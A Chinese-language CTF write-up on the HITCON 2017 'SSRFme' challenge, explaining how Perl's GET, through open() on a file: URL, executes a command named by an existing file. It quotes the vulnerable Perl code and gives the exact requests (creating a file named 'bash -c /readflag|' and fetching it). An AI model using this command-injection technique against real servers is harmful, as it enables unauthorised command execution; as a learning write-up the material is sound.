perl脚本GET系统命令执行
题目来自 [HITCON 2017]SSRFme
代码的思路很简单,就是会先建一个文件夹
sandbox/md5(orange+ip)
,然后将url的值写到filename文件中
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
这行代码开始以为就是GET请求,所以想到了file协议去读文件,但这种做法是错误的
简单记录一下perl脚本GET系统命令执行
的学习
简单来看看使用GET如何来执行系统命令。具体为啥原因我也说不上来,大概就是open函数支持file协议
perl里的GET函数底层就是调用了open处理
要执行的命令首先必须要有该文件存在,以命令为文件名的文件存在
ubuntu18.04 已经修复此漏洞
修复的方式是在下面第三行代码中,open中间加了个参数’<’
if ($method ne "HEAD") {open(my $fh,'<', $path) or return new ##就是这里出了问题HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR,"Cannot read file '$path': $!");binmode($fh);$response = $self->collect($arg, $response, sub {my $content = "";my $bytes = sysread($fh, $content, $size);return \$content if $bytes > 0;return \ "";});close($fh);}$response;
}
暂且删掉这个 <
不管他
利用file:bash -c "cmd string"来读文件
?url=/&filename=aaa
之前提到要 open函数 执行命令首先就是必须存在这个文件,那么我们首先就是要创建一个以命令命名的文件,然后再去执行
创建 bash -c /readflag| 命名的文件?url=&filename=bash -c /readflag|利用GET执行 bash -c /readflag| 并且写到 文件aaa中?url=file:bash -c /readflag|&filename=aaa最后访问 sandbox/md5(orange+ip)/aaa 就可以了
然后就是 |
,这个应该是个分界符的意思,因为他放在前面也是可以的,比如| /readflag
也不是很清楚,就简单记录一下,详细的可以看看这个大佬写的
-------------------perl脚本GET执行系统命令---------------------
perl脚本GET系统命令执行相关推荐
- Perl脚本执行方法小结
Perl脚本执行: ./filename.pl 要这样用,脚本需添加声明行,Linux下一般是添加:#!/usr/bin/perl -w perl filename.pl Perl 脚本普遍适用,包括 ...
- Linux中perl脚本监控
根据公司需求 自己编写的perl脚本 希望可以帮到大家 #!/usr/bin/perl while(1){ open (LOG,">> /var/log/flow.log&quo ...
- linux perl 单例模式,Perl脚本学习经验(三)--Perl中ftp的使用
使用use Net::FTP; Demo: my $Server = '192.168.1.1'; my $User = 'admin'; my $Password = 'admin'; my $ft ...
- linux脚本中如何调用函数,在Linux中如何在Perl脚本中调用函数(在shell脚本中定义)...
我有两个脚本,即 shell_script.sh和perl_script.pl. shell_script.sh:它有函数定义,当从Perl脚本调用时,它将以批处理模式在Linux上执行某些命令. p ...
- 20.1 shell脚本介绍 20.2 shell脚本结构和执行 20.3 date命令用法 20.4 shell脚本中的变量...
2019独角兽企业重金招聘Python工程师标准>>> 20.1 shell脚本介绍 shell 是一种脚本语言:和传统的开发语言比较,会比较简单 shell有自己的语法:可以使用逻 ...
- perl脚本语言学习
来公司的第二个星期便看了一下perl语言,发现掌握一门脚本语言还是非常有用的.到现在为止已经入职两个月,用perl脚本做了这些活: 1. 修改了公司的一个爬取网页源代码的脚本 2. 改进了一个出特征库 ...
- 为什么.bat脚本不断重复执行同一命令
为什么.bat脚本不断重复执行同一命令 如果自己写的.bat脚本文件的名称与系统已有的cmd命令重复,会导致该命令在屏幕不断重复显示,得不到脚本想要的结果. 解决方法: 修改.bat脚本文件名称,保证 ...
- 实战Perl脚本测试
实战Perl脚本测试(转) 这是一篇关于perl脚本测试的总结性文章,其中提到了很多实用的模块,如果文中介绍的不够详细,请到cpan上搜索该模块并查阅其文档. 1基本语法检查 Perl语言的哲学是& ...
- 使用perl脚本语言处理文本文件
前段时间,因为工作需要,使用perl脚本对一个txt文件做了一些处理. 需要处理的txt文件inputfile.txt结构是: #col1 col2 col3 col4 col5 1_1 1_2 ...
- 命令执行漏洞之远程命令执行和系统命令执行
渗透学习 命令执行漏洞 文章目录 渗透学习 前言 *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任.* 一.命令执行漏洞概述 二.实验步骤 1.管道符号 2.远 ...
最新文章
- GPIO做输出还能作外部中断输入吗?
- MongoDB服务启动与停止命令(Windows环境)
- 锐驰机器人的市场_【年终盘点】2020年,锐驰的王炸新品!
- Java 并发编程之自定义线程池 ThreadPoolExecutor
- 2012 金华现场赛 A题
- 「 C++ MFC 」“设置线程运行多媒体定时器”教程
- 软件找不到msvcp140.dll无法继续执行怎么办
- android cs bs 架构,BS架构与CS架构的区别
- [交流] 新手常见(五国)(-v图)错误解决(原版,破解kernel,补丁kext下载)
- 三星内存编码_三星内存铭牌的详细说明|三星记忆棒标签存储参数的详细说明...
- 【源码分享】一键打开禅意生活——电子木鱼微信小程序源码分享
- mongodb可视化工具 mac版 Studio 3T破解
- 量子力学 or 线性代数?(五:波函数与薛定谔方程)
- unicode exp学习
- 百知教育-第二章学习笔记
- NLP(CAS10年NLP课程note)
- WINDOWS下实现GTK+/GTKMM的编程
- Chrome启动参数常用参数
- Android使用ShareSDK集成第三方登录和分享(v3.1.2)
- php代码审计【24】齐博CMS xss 漏洞漏洞
热门文章
- weblogic下载、安装、配置
- 人工智能基础(高中版)教材补充和资源分享之一 无限光明的未来、过去和现在
- C#基础与VB基础比较
- java删除文件夹及其内部文件
- 下docfetcher先下Java,DocFetcher ── 以 JAVA 编写的开源桌面本地文件全文搜索工具...
- php官网软件下载,php下载_php官方下载_3DM软件
- 王牌英雄怎么服务器维护了,王牌英雄steam版无法运行问题解决方法_3DM单机
- 好看的PPT导航栏有哪些制作技巧
- HFSS - GSM 900 单频PIFA天线的设计与仿真
- 百度地图 城市中心点坐标